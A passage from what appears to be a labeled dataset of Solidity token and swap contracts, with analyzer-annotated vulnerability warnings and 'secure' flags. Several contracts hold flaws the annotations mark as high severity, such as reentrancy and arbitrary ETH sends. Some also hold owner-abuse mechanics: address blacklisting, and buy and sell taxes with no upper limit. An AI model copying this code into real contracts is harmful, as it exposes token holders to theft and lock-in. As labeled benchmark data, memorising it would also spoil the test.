'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"CZ Dog\";\n\n string private constant _symbol = unicode\"SADIE\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70bd189): SADIE._taxSwapThreshold should be constant \n\t// Recommendation for 70bd189: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5156923): SADIE._maxTaxSwap should be constant \n\t// Recommendation for 5156923: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a01666): SADIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a01666: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1511dde): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1511dde: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ece12f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ece12f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1511dde\n\t\t// reentrancy-benign | ID: ece12f4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1511dde\n\t\t// reentrancy-benign | ID: ece12f4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 471818e): SADIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 471818e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ece12f4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1511dde\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cae4d75): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cae4d75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bc897b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bc897b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cae4d75\n\t\t\t\t// reentrancy-eth | ID: bc897b6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cae4d75\n\t\t\t\t\t// reentrancy-eth | ID: bc897b6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: bc897b6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: bc897b6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bc897b6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cae4d75\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bc897b6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bc897b6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cae4d75\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cae4d75\n\t\t// reentrancy-events | ID: 1511dde\n\t\t// reentrancy-benign | ID: ece12f4\n\t\t// reentrancy-eth | ID: bc897b6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b54218a): SADIE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b54218a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cae4d75\n\t\t// reentrancy-events | ID: 1511dde\n\t\t// reentrancy-eth | ID: bc897b6\n\t\t// arbitrary-send-eth | ID: b54218a\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c56141a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c56141a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2b72914): SADIE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2b72914: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3bdbd7e): SADIE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3bdbd7e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 745b5ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 745b5ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c56141a\n\t\t// reentrancy-eth | ID: 745b5ed\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c56141a\n\t\t// unused-return | ID: 2b72914\n\t\t// reentrancy-eth | ID: 745b5ed\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c56141a\n\t\t// unused-return | ID: 3bdbd7e\n\t\t// reentrancy-eth | ID: 745b5ed\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: c56141a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 745b5ed\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_981.sol",
"secure": 0,
"size_bytes": 17036
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 21;\n\n uint256 public sellTax = 22;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: fc4ea2d): ERC20.containsAllHexDigits(address).hasDigit is a local variable never initialized\n\t// Recommendation for fc4ea2d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function containsAllHexDigits(address addr) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n bool[16] memory hasDigit;\n\n for (uint256 i = 0; i < 20; i++) {\n uint8 byteValue = uint8(addrBytes[i]);\n\n hasDigit[byteValue & 0xF] = true;\n\n hasDigit[(byteValue >> 4) & 0xF] = true;\n }\n\n for (uint8 i = 0; i < 16; i++) {\n if (!hasDigit[i]) {\n return false;\n }\n }\n\n return true;\n }\n\n function hasAlternatingEvenOddHexDigits(\n address addr\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n bool shouldBeEven = (uint8(addrBytes[0]) & 0xF) % 2 == 0;\n\n for (uint256 i = 0; i < 20; i++) {\n uint8 byteValue = uint8(addrBytes[i]);\n\n if (((byteValue >> 4) & 0xF) % 2 == (shouldBeEven ? 0 : 1)) {\n shouldBeEven = !shouldBeEven;\n } else {\n return false;\n }\n\n if ((byteValue & 0xF) % 2 == (shouldBeEven ? 0 : 1)) {\n shouldBeEven = !shouldBeEven;\n } else {\n return false;\n }\n }\n\n return true;\n }\n}",
"file_name": "solidity_code_982.sol",
"secure": 0,
"size_bytes": 8270
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract NeoIsFarmer is ERC20 {\n constructor() ERC20(unicode\"SpaceX Mascot\", unicode\"BANANA\", 1000000000) {}\n}",
"file_name": "solidity_code_983.sol",
"secure": 1,
"size_bytes": 252
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapRouter02 {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256 amountOut);\n\n struct ExactInputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n }\n\n function exactInput(\n ExactInputParams calldata params\n ) external payable returns (uint256 amountOut);\n}",
"file_name": "solidity_code_984.sol",
"secure": 1,
"size_bytes": 770
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IMaxBuyBackV1 {\n function getUsdcSwaps() external view returns (uint256);\n\n function getTokensSwap() external view returns (uint256);\n}",
"file_name": "solidity_code_985.sol",
"secure": 1,
"size_bytes": 217
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ISwapRouter02.sol\" as ISwapRouter02;\nimport \"./IMaxBuyBackV1.sol\" as IMaxBuyBackV1;\n\ncontract MaxBuyBackV2 {\n ISwapRouter02 public swapRouter02;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ca473b0): MaxBuyBackV2.maxBuyBackV1 should be immutable \n\t// Recommendation for ca473b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IMaxBuyBackV1 public maxBuyBackV1;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d04ccf6): MaxBuyBackV2.usdc should be immutable \n\t// Recommendation for d04ccf6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public usdc;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6fd9c3e): MaxBuyBackV2.weth should be immutable \n\t// Recommendation for 6fd9c3e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public weth;\n\n address public buyBackToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 882aabd): MaxBuyBackV2.owner should be immutable \n\t// Recommendation for 882aabd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n address public finalDestination;\n\n uint256 private totalUSDCSwappedV2;\n\n uint256 private totalTokensBoughtBackV2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c78c9eb): MaxBuyBackV2.poolFeeIn should be immutable \n\t// Recommendation for c78c9eb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint24 private poolFeeIn;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 63bfa64): MaxBuyBackV2.tokenPoolFeeIn should be immutable \n\t// Recommendation for 63bfa64: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint24 private tokenPoolFeeIn;\n\n uint256 public usdcAmountToSwap;\n\n uint256 public swapInterval;\n\n uint256 public lastSwapTime;\n\n event TokensSwappedV2(\n address indexed tokenIn,\n address indexed tokenOut,\n uint256 amountIn,\n uint256 amountOut\n );\n\n event SwapSettingsUpdated(uint256 usdcAmountToSwap, uint256 swapInterval);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0954453): MaxBuyBackV2.constructor(address,address,address,address,address,uint24,uint24,address)._usdc lacks a zerocheck on \t usdc = _usdc\n\t// Recommendation for 0954453: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 16ad6b0): MaxBuyBackV2.constructor(address,address,address,address,address,uint24,uint24,address)._weth lacks a zerocheck on \t weth = _weth\n\t// Recommendation for 16ad6b0: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a680f96): MaxBuyBackV2.constructor(address,address,address,address,address,uint24,uint24,address)._buyBackToken lacks a zerocheck on \t buyBackToken = _buyBackToken\n\t// Recommendation for a680f96: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f944e03): MaxBuyBackV2.constructor(address,address,address,address,address,uint24,uint24,address)._finalDestination lacks a zerocheck on \t finalDestination = _finalDestination\n\t// Recommendation for f944e03: Check that the address is not zero.\n constructor(\n address _v1Address,\n address _v3Router,\n address _usdc,\n address _weth,\n address _buyBackToken,\n uint24 _poolFeeIn,\n uint24 _tokenPoolFeeIn,\n address _finalDestination\n ) {\n owner = msg.sender;\n\n swapRouter02 = ISwapRouter02(_v3Router);\n\n maxBuyBackV1 = IMaxBuyBackV1(_v1Address);\n\n\t\t// missing-zero-check | ID: 0954453\n usdc = _usdc;\n\n\t\t// missing-zero-check | ID: 16ad6b0\n weth = _weth;\n\n\t\t// missing-zero-check | ID: a680f96\n buyBackToken = _buyBackToken;\n\n poolFeeIn = _poolFeeIn;\n\n tokenPoolFeeIn = _tokenPoolFeeIn;\n\n\t\t// missing-zero-check | ID: f944e03\n finalDestination = _finalDestination;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Caller is not the owner\");\n\n _;\n }\n\n function updateSwapSettings(\n uint256 _usdcAmountToSwap,\n uint256 _swapInterval\n ) external onlyOwner {\n usdcAmountToSwap = _usdcAmountToSwap;\n\n swapInterval = _swapInterval;\n\n emit SwapSettingsUpdated(usdcAmountToSwap, swapInterval);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: aa5e5a5): MaxBuyBackV2.triggerSwapAndBurn() uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= lastSwapTime + swapInterval,Swap interval not met)\n\t// Recommendation for aa5e5a5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0ac4dc3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0ac4dc3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 22a0f2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 22a0f2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2611888): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2611888: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function triggerSwapAndBurn() external {\n\t\t// timestamp | ID: aa5e5a5\n require(\n block.timestamp >= lastSwapTime + swapInterval,\n \"Swap interval not met\"\n );\n\n require(usdcAmountToSwap > 0, \"USDC amount to swap not set\");\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// reentrancy-no-eth | ID: 2611888\n uint256 wethOut = _swapUSDCToWETH(usdcAmountToSwap);\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// reentrancy-no-eth | ID: 2611888\n uint256 tokenAmount = _swapWETHForBuybackToken(wethOut);\n\n\t\t// reentrancy-no-eth | ID: 2611888\n lastSwapTime = block.timestamp;\n\n\t\t// reentrancy-benign | ID: 22a0f2f\n totalUSDCSwappedV2 += usdcAmountToSwap;\n\n\t\t// reentrancy-benign | ID: 22a0f2f\n totalTokensBoughtBackV2 += tokenAmount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: baf37ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for baf37ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 65296c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 65296c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 106f626): MaxBuyBackV2.adminSwapAndBurn(uint256) should emit an event for totalUSDCSwappedV2 += _amountUSDC \n\t// Recommendation for 106f626: Emit an event for critical parameter changes.\n function adminSwapAndBurn(uint256 _amountUSDC) external onlyOwner {\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-benign | ID: 65296c1\n uint256 wethOut = _swapUSDCToWETH(_amountUSDC);\n\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-benign | ID: 65296c1\n uint256 tokenAmount = _swapWETHForBuybackToken(wethOut);\n\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// events-maths | ID: 106f626\n totalUSDCSwappedV2 += _amountUSDC;\n\n\t\t// reentrancy-benign | ID: 65296c1\n totalTokensBoughtBackV2 += tokenAmount;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bb7ce54): MaxBuyBackV2._swapUSDCToWETH(uint256) ignores return value by IERC20(usdc).approve(address(swapRouter02),amount)\n\t// Recommendation for bb7ce54: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 117c17c): MaxBuyBackV2._swapUSDCToWETH(uint256) ignores return value by IERC20(usdc).approve(address(swapRouter02),0)\n\t// Recommendation for 117c17c: Ensure that all the return values of the function calls are used.\n function _swapUSDCToWETH(\n uint256 amount\n ) internal returns (uint256 wethOut) {\n require(\n IERC20(usdc).balanceOf(address(this)) >= amount,\n \"Insufficient USDC balance\"\n );\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// unused-return | ID: bb7ce54\n\t\t// reentrancy-no-eth | ID: 2611888\n IERC20(usdc).approve(address(swapRouter02), amount);\n\n ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02\n .ExactInputSingleParams({\n tokenIn: usdc,\n tokenOut: weth,\n fee: poolFeeIn,\n recipient: address(this),\n amountIn: amount,\n amountOutMinimum: 0,\n sqrtPriceLimitX96: 0\n });\n\n\t\t// reentrancy-events | ID: 0ac4dc3\n\t\t// reentrancy-events | ID: baf37ff\n\t\t// reentrancy-benign | ID: 65296c1\n\t\t// reentrancy-benign | ID: 22a0f2f\n\t\t// reentrancy-no-eth | ID: 2611888\n wethOut = swapRouter02.exactInputSingle(params);\n\n\t\t// 